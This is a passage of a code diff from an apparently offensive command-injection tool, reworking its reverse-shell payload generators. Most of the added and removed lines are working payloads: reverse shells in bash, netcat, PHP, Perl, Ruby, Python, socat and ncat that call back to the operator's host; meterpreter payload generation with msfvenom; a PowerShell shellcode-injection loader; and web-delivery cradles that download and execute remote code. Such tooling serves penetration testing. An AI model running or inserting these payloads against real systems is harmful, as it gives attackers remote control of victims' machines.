2>" + _lit("%26", "&") + "0\" > /tmp/" + + tmp_file + + settings.SINGLE_WHITESPACE + + separator + + " /bin/bash /tmp/" + + tmp_file + # Removed once the shell it started has ended, rather than left in the target's temp directory. + + separator + + " rm -f /tmp/" + + tmp_file + ) + +""" +Ncat reverse TCP shell. +""" +def gen_ncat_reverse(): + return ( + "ncat -e /bin/sh " + + settings.LHOST + + settings.SINGLE_WHITESPACE + + settings.LPORT + ) + +""" +PHP meterpreter reverse TCP shell (via msfvenom). +""" +def gen_php_meterpreter_reverse(): + if checks.metasploit_missing(): + return None + + payload = "php/meterpreter/reverse_tcp" + output = "php_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "LHOST", settings.LHOST, " -e php/base64", strip_newlines=True) + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() + other_shell = settings.WIN_PHP_DIR + " -r " + data else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom working interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break + other_shell = "php -r \"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except Exception: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None + +""" +Python meterpreter reverse TCP shell (via msfvenom). +""" +def gen_python_meterpreter_reverse(): + if checks.metasploit_missing(): + return None + + payload = "python/meterpreter/reverse_tcp" + output = "py_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "LHOST", settings.LHOST, "", strip_newlines=False) + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -check / set lhost option for reverse TCP connection -""" -def check_lhost(lhost): - settings.LHOST = lhost - print("LHOST => " + settings.LHOST) - return True - -""" -check / set lport option for reverse TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - print("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) - return False + if not settings.USER_DEFINED_PYTHON_INTERPRETER: + checks.set_python_interpreter() + other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except Exception: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None + +""" +Write the shared web_delivery.rc resource file for the given payload/target index. +""" +def _write_web_delivery_rc(payload, target_index): + output = "web_delivery.rc" + with open(output, 'w+') as filewrite: + filewrite.write("use exploit/multi/script/web_delivery" + settings.END_LINE.LF + + "set target " + str(target_index) + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "set srvport " + str(settings.SRVPORT) + settings.END_LINE.LF + + "set uripath " + settings.URIPATH + settings.END_LINE.LF + + checks.priv_esc_autorun_line(payload) + + "exploit" + settings.END_LINE.LF * 2) + return output + +""" +Web delivery - Python meterpreter reverse TCP shell. +""" +def gen_web_delivery_python(): + if checks.metasploit_missing(): + return None + + output = _write_web_delivery_rc("python/meterpreter/reverse_tcp", 0) + data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" + if _needs_literal_encoding(): + data = data.replace("%3b", ";").replace("%3d", "=").replace("%2b", "+").replace("%3a", ":") + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + else: + if not settings.USER_DEFINED_PYTHON_INTERPRETER: + checks.set_python_interpreter() + other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell """ -check / set srvport option for reverse TCP connection +Web delivery - PHP meterpreter reverse TCP shell. """ -def check_srvport(srvport): - try: - if float(srvport): - settings.SRVPORT = srvport - print("SRVPORT => " + settings.SRVPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) - return False +def gen_web_delivery_php(): + if checks.metasploit_missing(): + return None -""" -check / set uripath option for reverse TCP connection -""" -def check_uripath(uripath): - settings.URIPATH = uripath - print("URIPATH => " + settings.URIPATH) - return True + output = _write_web_delivery_rc("php/meterpreter/reverse_tcp", 1) + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() + other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" + else: + other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" + checks.msf_launch_msg(output) + return other_shell """ -Set up the netcat reverse TCP connection +Web delivery - Windows meterpreter reverse TCP shell. """ -def netcat_version(separator): - - # Defined shell - shell = "sh" +def gen_web_delivery_windows(): + if checks.metasploit_missing(): + return None - # Netcat alternatives - NETCAT_ALTERNATIVES = [ - "nc", - "busybox nc", - "nc.traditional", - "nc.openbsd" - ] - - while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) - - # Default Netcat - if nc_version == '1': - nc_alternative = NETCAT_ALTERNATIVES[0] - break - # Netcat for Busybox - if nc_version == '2': - nc_alternative = NETCAT_ALTERNATIVES[1] - break - # Netcat-Traditional - elif nc_version == '3': - nc_alternative = NETCAT_ALTERNATIVES[2] - break - # Netcat-Openbsd (nc without -e) - elif nc_version == '4': - nc_alternative = NETCAT_ALTERNATIVES[3] - break - # Check for available shell options - elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) - # Invalid option - else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue - - while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) - else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if nc_version != '4': - # Netcat with -e - cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e " + shell - else: - # nc without -e - cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \ - nc_alternative + " " + settings.LHOST + " " + settings.LPORT + \ - " 1>/tmp/f\"" - - return cmd - -""" -Set up other [1] reverse tcp shell connections -[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet -""" -def other_reverse_shells(separator): - - while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) - - # PHP-reverse-shell - if other_shell == '1': - other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ - "exec(\"/bin/sh -i <%263 >%263 2>%263\");'" - break - - # Perl-reverse-shell - elif other_shell == '2': - other_shell = "perl -e 'use Socket;" \ - "$i=\"" + settings.LHOST + "\";" \ - "$p=" + settings.LPORT + ";" \ - "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \ - "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \ - "open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \ - "exec(\"/bin/sh -i\");};'" - break - - # Ruby-reverse-shell - elif other_shell == '3': - other_shell = "ruby -rsocket -e '" \ - "c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ - "$stdin.reopen(c);" \ - "$stdout.reopen(c);" \ - "$stderr.reopen(c);" \ - "$stdin.each_line{|l|l=l.strip;" \ - "next if l.length==0;" \ - "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" - break - - # Python-reverse-shell - elif other_shell == '4': - if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \ - "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ - "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ - "os.dup2(s.fileno(),0)%0d" \ - "os.dup2(s.fileno(),1)%0d" \ - "os.dup2(s.fileno(),2)%0d" \ - "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" - break - - # Socat-reverse-shell - elif other_shell == '5': - other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \ - " exec:\"sh\",pty,stderr,setsid,sigint,sane" - break - - # Bash-reverse-shell - elif other_shell == '6': - tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)]) - other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ - " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file - break - - # Ncat-reverse-shell - elif other_shell == '7': - other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" - break - - # Windows Python-reverse-shell - elif other_shell == '8': - data = "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \ - "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \ - " __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \ - " {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \ - " __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \ - " after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \ - " __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \ - "for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \ - "for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \ - "for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \ - " stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \ - "in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \ - "[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \ - "if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \ - "for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \ - "[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \ - "for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \ - "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \ - "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \ - "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \ - "globals(), __import__('contextlib'))" - - if not settings.TARGET_OS == "win": - windows_only_attack_vector() - continue - else: - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - break - - # PHP-reverse-shell (meterpreter) - elif other_shell == '9': - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) - continue - - payload = "php/meterpreter/reverse_tcp" - output = "php_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() - - with open (output, "r+") as content_file: - data = content_file.readlines() - data = ''.join(data).replace("\n"," ") - - print(settings.SINGLE_WHITESPACE) - # Remove the ouput file. - os.remove(output) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") - - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -r " + data - else: - other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) - except: - print(settings.SINGLE_WHITESPACE) - break - - # Python-reverse-shell (meterpreter) - elif other_shell == '10': - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) - continue - - payload = "python/meterpreter/reverse_tcp" - output = "py_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + - " -o " + output + ">/dev/null 2>&1", shell=True).wait() - - with open (output, "r") as content_file: - data = content_file.readlines() - data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() - - print(settings.SINGLE_WHITESPACE) - # Remove the ouput file. - os.remove(output) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") - - if settings.TARGET_OS == "win": - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - else: - if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) - except: - print(settings.SINGLE_WHITESPACE) - break - - # Powershell injection attacks - elif other_shell == '11': - if not settings.TARGET_OS == "win": - windows_only_attack_vector() - continue - else: - while True: - windows_reverse_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. -\ncommix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) - - if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(windows_reverse_shell): - return shell_options(windows_reverse_shell) - elif windows_reverse_shell == '1' : - output = "powershell_attack.rc" - elif windows_reverse_shell == '2' : - output = "powershell_attack.txt" - else: - err_msg = "The '" + windows_reverse_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue - - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) - continue - - payload = "windows/meterpreter/reverse_tcp" - - # Shellcode injection with native x86 shellcode - if windows_reverse_shell == '1': - gen_payload_msg(payload) - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() - with open(output, 'r') as content_file: - repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''} - shellcode = reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] - # One line shellcode injection with native x86 shellcode - # Greetz to Dave Kennedy (@HackingDave) - powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) - other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) - print(settings.SINGLE_WHITESPACE) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") - msf_launch_msg(output) - except: - print(settings.SINGLE_WHITESPACE) - break - - # TrustedSec's Magic Unicorn (3rd Party) - elif windows_reverse_shell == '2': - try: - current_path = os.getcwd() - try: - unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) - os.chdir(unicorn_path) - # Check for Unicorn version. - with open('unicorn.py') as unicorn_file: - for line in unicorn_file: - line = line.rstrip() - if "Magic Unicorn Attack Vector v" in line: - unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") - break - except: - unicorn_version = "" - update.check_unicorn_version(unicorn_version) - try: - if len(unicorn_version) == 0: - unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) - os.chdir(unicorn_path) - gen_payload_msg(payload) - subprocess.Popen("python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() - with open(output, 'r') as content_file: - other_shell = content_file.read().replace('\n', '') - other_shell = _urllib.parse.quote_plus(other_shell) - print(settings.SINGLE_WHITESPACE) - # Remove the ouput file - os.remove(output) - with open("unicorn.rc", 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") - msf_launch_msg("unicorn.rc") - # Return to the current path. - os.chdir(current_path) - except: - continue - except: - print(settings.SINGLE_WHITESPACE) - break - break - - # Web delivery script - elif other_shell == '12': - while True: - web_delivery = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). -\ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) - - if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): - if shell_options(web_delivery): - return shell_options(web_delivery) - elif web_delivery == '1': - payload = "python/meterpreter/reverse_tcp" - elif web_delivery == '2': - payload = "php/meterpreter/reverse_tcp" - elif web_delivery == '3': - payload = "windows/meterpreter/reverse_tcp" - else: - err_msg = "The '" + web_delivery + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue - - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) - continue - - if 'payload' in locals(): - output = "web_delivery.rc" - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/script/web_delivery\n" - "set target " + str(int(web_delivery)-1) + "\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "set srvport " + str(settings.SRVPORT) + "\n" - "set uripath " + settings.URIPATH + "\n" - "exploit\n\n") - - if web_delivery == '1': - data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" - if settings.TARGET_OS == "win": - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - else: - if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) - break - elif web_delivery == '2': - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" - else: - other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" - msf_launch_msg(output) - break - elif web_delivery == '3': - if not settings.TARGET_OS == "win": - windows_only_attack_vector() - continue - else: - other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" - msf_launch_msg(output) - break - break - # Check for available shell options - elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) - # Invalid option - else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue + output = _write_web_delivery_rc("windows/meterpreter/reverse_tcp", 2) + if not settings.TARGET_OS == settings.OS.WINDOWS: + checks.windows_only_attack_vector() + return None + other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" + checks.msf_launch_msg(output) return other_shell -""" -Choose type of reverse TCP connection. -""" -def reverse_tcp_options(separator): - - while True: - reverse_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - - if reverse_tcp_option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + reverse_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - continue - - # Option 1 - Netcat shell - elif reverse_tcp_option == '1' : - reverse_tcp_option = netcat_version(separator) - if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() - break - elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: - return reverse_tcp_option - else: - pass - # Option 2 - Other (Netcat-Without-Netcat) shells - elif reverse_tcp_option == '2' : - reverse_tcp_option = other_reverse_shells(separator) - if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() - break - # Check for available shell options - elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(reverse_tcp_option): - return shell_options(reverse_tcp_option) - # Invalid option - else: - err_msg = "The '" + reverse_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue - - return reverse_tcp_option - -""" -Set up the reverse TCP connection -""" -def configure_reverse_tcp(separator): - # Set up LHOST for the reverse TCP connection - while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - continue - if option.lower() == "?": - menu.reverse_tcp_options() - continue - if option.lower() == "quit": - raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": - settings.REVERSE_TCP = False - break - elif option.lower() == "bind_tcp": - settings.BIND_TCP = True - settings.REVERSE_TCP = False - break - elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: - break - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "lhost ": - if check_lhost(option[10:]): - if len(settings.LPORT) == 0: - pass - else: - break - else: - continue - elif option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) - continue - elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): - if len(settings.LHOST) == 0: - pass - else: - break - else: - continue - elif option[4:12].lower() == "srvport ": - check_srvport(option[12:]) - elif option[4:12].lower() == "uripath ": - check_uripath(option[12:]) - else: - err_msg = "The '" + option + "' option, is not 